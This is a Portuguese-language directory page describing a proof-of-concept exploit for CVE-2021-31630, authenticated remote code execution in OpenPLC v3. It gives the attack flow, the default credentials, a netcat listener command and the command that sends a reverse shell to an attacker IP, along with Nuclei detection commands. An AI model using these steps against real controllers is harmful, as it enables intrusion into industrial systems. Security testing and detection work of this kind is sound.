Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
OpenPLC-CVE-2021-31630-RCE — Exploit de prova de conceito em Python 3.13+ para CVE-2021-31630, permitindo execução remota de código autenticada no OpenPLC v3 por meio do upload malicioso de camada de hardware. Inclui templates de detecção do Nuclei para credenciais padrão e verificações de vulnerabilidade. | Kitploit
Ferramentas/GitHubGitHub/machevalia/openplc-cve-2021-31630-rce
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubmachevalia/openplc-cve-2021-31630-rce

OpenPLC-CVE-2021-31630-RCE

Exploit de prova de conceito em Python 3.13+ para CVE-2021-31630, permitindo execução remota de código autenticada no OpenPLC v3 por meio do upload malicioso de camada de hardware. Inclui templates de detecção do Nuclei para credenciais padrão e verificações de vulnerabilidade.

Ver Repositório
3217há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

OpenPLC v3 RCE Autenticado (CVE-2021-31630)

Este é um exploit de prova de conceito moderno e compatível com Python 3.13+ para CVE-2021-31630, uma vulnerabilidade no OpenPLC v3 que permite a um usuário autenticado enviar uma camada de hardware personalizada contendo código malicioso, levando à execução remota de código (RCE) no host.

A descoberta original da vulnerabilidade e o advisory foram feitos por Fellipe Oliveira. Esta reimplementação e modernização usa httpx, ferramentas de CLI, logging e técnicas de detecção mais seguras.

Visão Geral do Exploit

  • Vulnerabilidade: CVE-2021-31630
  • Componente: Servidor Web do OpenPLC v3
  • Impacto: Execução Remota de Código Autenticada
  • Credenciais Padrão: openplc:openplc

Fluxo do Exploit

  1. Faça login com credenciais válidas
  2. Envie código C malicioso como uma camada de hardware personalizada
  3. Acione a compilação
  4. Acione a execução (opcional)
  5. Receba a conexão do reverse shell

Uso

  1. Inicie um listener:
nc -lvnp 9001
  1. Execute o exploit:
python3 openplc_rce.py http://target:8080 -lh YOUR_IP -lp 9001

Flags opcionais:

  • -u Nome de usuário (padrão: openplc)
  • -p Senha (padrão: openplc)
  • -t Tempo limite em segundos (padrão: 20)

Recursos

  • Compatível com Python 3.13+
  • Construído com httpx
  • Suporte a logging para saída limpa
  • Funções modulares para reutilização mais fácil
  • Templates de detecção Nuclei incluídos

Templates de Detecção Nuclei

  1. Verificação de Credenciais Padrão
nuclei -t nuclei-templates/openplc-default-login.yaml -u http://target:8080
  1. Verificação Passiva da Vulnerabilidade de RCE
nuclei -t nuclei-templates/openplc-authenticated-rce-check.yaml -u http://target:8080

O segundo template faz login e tenta um envio de payload inofensivo + compilação para confirmar a provável vulnerabilidade — sem acionar a execução real de código.

Arquivos Incluídos

  • OpenPLC_CVE_2021_31630.py – Exploit para Python 3.13+
  • nuclei-templates/openplc-default-login.yaml – Detecta credenciais padrão
  • nuclei-templates/openplc-authenticated-rce-check.yaml – Detecta comportamento vulnerável com segurança

⚠️ Aviso Legal / Ética

Este código é apenas para testes de segurança educacionais e autorizados. Não use sem permissão explícita do proprietário do sistema.

Baixar ferramenta